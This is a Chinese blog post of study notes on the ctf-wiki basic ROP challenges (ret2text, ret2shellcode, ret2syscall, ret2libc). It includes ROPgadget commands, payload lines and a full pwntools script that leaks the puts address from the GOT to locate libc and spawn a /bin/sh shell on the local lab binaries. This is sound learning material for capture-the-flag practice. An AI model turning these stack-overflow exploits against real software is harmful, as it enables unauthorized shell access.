ctf-wiki 基本ROP

ret2text
原理:ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
流程

  1. 首先我们检查了可执行文件,发现程序是32位程序,仅仅开启了栈不可执行保护。
  2. 使用IDA查看源码,可以看出程序在主函数中使用了gets函数,显然存在栈溢出漏洞。
  3. 同时在secure函数中发现了调用 system(“/bin/sh”)的代码。
  4. 调试程序计算s相对于返回地址的偏移。
  5. 编写payload。
    ret2shellcode
    原理:ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
    在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
    流程:
  6. 首先检查可执行文件,发现几乎没开启任何保护,并且有可读可写可执行段。
  7. 使用IDA查看源码,并且调试可以看到bss段上的buf可以进行写入shellcode。
  8. 调试计算偏移。
  9. 编写payload。
    ret2syscall
    原理:ret2syscall,即控制程序执行系统调用,获取 shell。
    流程:
  10. 首先检测程序开启的保护,开启了NX保护。
  11. 由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell。
  12. 寻找控制命令。

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
ROPgadget --binary rop --only ‘pop|ret’ | grep ‘eax’
ROPgadget --binary rop --only ‘pop|ret’ | grep ‘ebx’
ROPgadget --binary rop --string ‘/bin/sh’
ROPgadget --binary rop --only ‘int’

  1. 编写payload。
    payload = flat([‘A’ * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    ret2libc
    原理:ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
    ret2libc1
    流程:
  2. 首先检测程序开启的保护,开启了NX保护。
  3. 查找system函数和’/bin/sh’字符串。
  4. 调试计算偏移。
  5. 编写payload。
    payload = flat([‘a’ * 112, system_plt, ‘b’ * 4, binsh_addr])
    注意:这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
    ret2libc2
    流程:
  6. 首先检测程序开启的保护,开启了NX保护。
  7. 查找system函数和构造’/bin/sh’字符串。
  8. 查找一个pop函数用来返回到system的地址。
  9. 编写payload。
    payload = flat([‘a’ * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
    试了一下貌似不使用pop也可以,疑惑。
    ret2libc3
    对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表(GOT, Global Offset Table),那个存放额外代码的表称为程序链接表(PLT,Procedure Link Table)
    Part One : 泄露
    首先 由于PLT和GOT的延迟绑定机制 我们只可以泄露在溢出前的函数地址 那么这里 我们首先选择Puts函数,
    首先 我们先从当前ELF中获取PUTS的GOT和PLT,并且打印后查询.
    Part Two : Get_Shell
    在泄露了Libc版本后 我们就可以使用Libc中的函数之类的东西了 但是我们还是需要计算偏移
    Libc偏移 = 源地址 - libc地址
    之后 我们再把Libc加上偏移 我们就Getshell了
    在这里插入图片描述
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()

本地的话你可以看看他用的本地什么库
libc = ELF(本地libc地址),载入文件
pwn哥 21:56:17
然后基地址就 libcbase = putsaddr - libc.symbols[‘puts’]
systemaddr = libcbase + libc.symbols['system]

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值